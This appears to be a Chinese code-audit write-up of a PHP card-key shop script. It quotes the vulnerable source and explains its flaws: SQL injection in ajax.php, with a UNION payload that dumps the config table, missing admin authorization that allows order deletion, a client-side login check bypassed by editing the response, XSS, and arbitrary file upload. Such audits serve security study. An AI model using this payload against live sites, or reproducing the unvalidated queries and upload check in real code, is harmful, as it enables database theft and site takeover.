注意:代码审计的过程全写在注释里面
/ajax.php文件 存在SQL注入
<?php
include 'ayangw/common.php'; //这里看到包含了common.php文件 主要就是对于配置的加载 里面没有封装任何过滤函数
@header('Content-Type: application/json; charset=UTF-8');
if(empty($_GET['act'])){ // 这里我们发现也没有封装session类 仅仅是判断是否传参就可以造成访问 那么可以直接绕过
exit("非法访问!");
}else{
$act=$_GET['act'];
}
switch ($act){ //一个switch的分支 一共有4个不同的功能 我们就挑一个功能 selgo
//异步获取商品
case 'selgo':
$select = "<option>请选择商品</option>";
$tpID = $_POST['tyid']; // 这里的tyid传参没有过滤导致下一行直接写入数据库里面 从而导致SQL注入
$sql = "select * from ayangw_goods where state =1 and tpId = ".$tpID;
echo $sql; //打印下sql语句
$res = $DB->query($sql);
$i=1;
while ($row =$DB->fetch($res)){
$c = $DB->count("SELECT COUNT(id) from ayangw_km where stat = 0 and gid =".$row['id']);
$select.="<option id='".$row['id']."' value='".$row['gName']."'kc='".$c."' title='".$row['price']."' alt = '".$row['gInfo']."'>".$row['gName']."</option>";
}
exit('{"code":0,"msg":"'.$select.'"}');
break;
//创建订单
case 'create':
$out_trade_no = $_POST['out_trade_no'];
$gid = $_POST['gid'];
$money = $_POST['money'];
$rel = $_POST['rel'];
$type = $_POST['type'];
$sql = "insert into ayangw_order(out_trade_no,gid,money,rel,benTime,type)
values('{$out_trade_no}',{$gid},{$money},'{$rel}',now(),'{$type}')";
$b = $DB->query($sql);
if($b > 0){
exit('{"code":0,"msg":"ok"}');
}else{
exit('{"code":-1,"msg":"no"}');
}
;
break;
//查询卡密库存
case 'selKm':
$gid = $_POST['gid'];
$sql = "select * from ayangw_km where stat = 0 and gid = ".$gid;
$res =$DB->query($sql);
if($row = $DB->fetch($res)){
exit('{"code":0,"msg":"ok"}');
}else{
exit('{"code":-1,"msg":"no"}');
}
;break;
//用户提取卡密
case 'tqKm':
$t = $_POST['t'];
$sql = "select * from ayangw_km
where out_trade_no ='{$t}' or trade_no = '{$t}' or rel = '{$t}'
ORDER BY endTime desc
limit 1";
$res =$DB->query($sql);
$ginfo = "";
if($row = $DB->fetch($res)){
$sql2 = "select * from ayangw_goods where id =".$row['gid'];
$res2 = $DB->query($sql2);
$row2 = $DB->fetch($res2);
$ginfo ="<tr><td id='td1'>".$row2['gName']."</td><td id='td2'>".$row['out_trade_no']."</td><td id='td3'>".$row['endTime']."</td><td id='td4'>".$row['km']."</td></tr>";
exit('{"code":0,"msg":"'.$ginfo.'"}');
}else{
exit('{"code":-1,"msg":"无本条记录"}');
}
;break;
default:
exit('{"code":-2,"msg":"NOT"}');
break;
}
payload
POST:tyid=1 union select 1,group_concat(0x7e,ayangw_k,0x7e,ayangw_v),3,4,5,6,7 from ayangw_config
标题 /admin/ajax.js 和ajax.php 越权
/admin/ajax.php
switch ($act){ // switch 两个分支 其实不止 我这里就举例了两个 因为这里的两个是不同的功能 其他的都类似
//验证登陆
case 'checkLogin':
$user = $_POST['user'];
//echo $user;
$pass = $_POST['pass'];
//echo $pass;
if($user == $conf['admin'] && $pass == $conf['pwd']){
exit('{"code":1,"msg":"登陆成功"}');
}else{
exit('{"code":0,"msg":"用户名或密码错误"}');
}
;break;
//删除订单
case 'delOrd':
$id = $_POST['id'];
$sql = "delete from ayangw_order where id = ".$id;
$b = $DB->query($sql);
if($b > 0){
exit('{"code":1,"msg":"删除成功"}');
}else{
exit('{"code":-1,"msg":"删除失败"}');
}
;break;
//删除卡密
/admin/js/ayangw.js
//登陆验证
$("#login_submit").click(function(){
var user = $("#user").val();
var pass = $("#pass").val();
if(user == null || pass == null || user == "" || pass == ""){
layer.msg('用户名和密码不能为空!');
return false;
}
var ii = layer.load(2, {shade:[0.1,'#fff']});
$.ajax({
type : "POST",
url : "ajax.php?act=checkLogin",
data : {"user":user,"pass":pass},
dataType : 'json',
success : function(data) {
layer.close(ii);
if(data.code == 1){
layer.msg(data.msg);
$.cookie("user",user);
$.cookie("pass",pass);
$.cookie("loginInfo",$.md5($.cookie("pass")));
window.location.href='./';
}else{
layer.msg(data.msg);
return false;
}
},
error:function(data){
layer.close(ii);
layer.msg('系统错误!');
return false;
}
})
})
//删除订单
$(".btndel").click(function(){
if(confirm("确定要删除吗?")==false){
return false;
}
var id = $(this).attr("id");
var ii = layer.load(2, {shade:[0.1,'#fff']});
$.ajax({
type : "POST",
url : "ajax.php?act=delOrd",
data : {"id":id},
dataType : 'json',
success : function(data) {
layer.close(ii);
if(data.code == 1){
layer.msg(data.msg);
location.reload();
}else{
layer.msg(data.msg);
return false;
}
},
error:function(data){
layer.close(ii);
layer.msg('系统错误!');
return false;
}
})
})
因为ajax.php里面没有进行是否授权的检查所以ayangw.js 文件里面ajax可以直接请求后台 达到越权的目录
$(".btndel").click(function(){
if(confirm("确定要删除吗?")==false){
return false;
}
var id = $(this).attr("id");
var ii = layer.load(2, {shade:[0.1,'#fff']});
$.ajax({
type : "POST",
url : "ajax.php?act=delOrd",
data : {"id":id},
dataType : 'json',
success : function(data) {
layer.close(ii);
if(data.code == 1){
layer.msg(data.msg);
location.reload();
}else{
layer.msg(data.msg);
return false;
}
},
error:function(data){
layer.close(ii);
layer.msg('系统错误!');
return false;
}
})
})
直接发送这样一个ajax请求 里面的id为账单的id则可以达成越权的操作
同样的以上的ayangw.js的登陆验证的功能同样没有进行任何的验证 所以我们抓包在response里面把data.code改为1 则直接进入后台
后台XSS
前端可以重写js的函数
下单的联系方式
function checkLx(num){
var t=num;//这个就是我们要判断的值了
if(isNaN(t) && t !=""){
return true;
}else{
return false;
}
}
可以达到xss的目的
后台的任意文件上传
($_GET['mod']=='upimg'){
echo '<div class="panel panel-primary"><div class="panel-heading"><h3 class="panel-title">更改首页LOGO</h3> </div><div class="panel-body">';
if($_POST['s']==1){
$extension=explode('.',$_FILES['file']['name']);
if (($length = count($extension)) > 1) {
$ext = strtolower($extension[$length - 1]);
}
if($ext=='png'||$ext=='gif'||$ext=='jpg'||$ext=='jpeg'||$ext=='bmp') //要是在这个范围内 那么$ext='png' 如果不是的话那么就任意后缀了
$ext='png';
copy($_FILES['file']['tmp_name'], ROOT.'/assets/imgs/logo.'.$ext);
echo "成功上传文件!<br>(可能需要清空浏览器缓存才能看到效果)";
}
echo '<form action="set.php?mod=upimg" method="POST" enctype="multipart/form-data"><label for="file"></label><input type="file" name="file" id="file" /><input type="hidden" name="s" value="1" /><br><input type="submit" class="btn btn-primary btn-block" value="确认上传" /></form>*请上传3
直接任意文件上传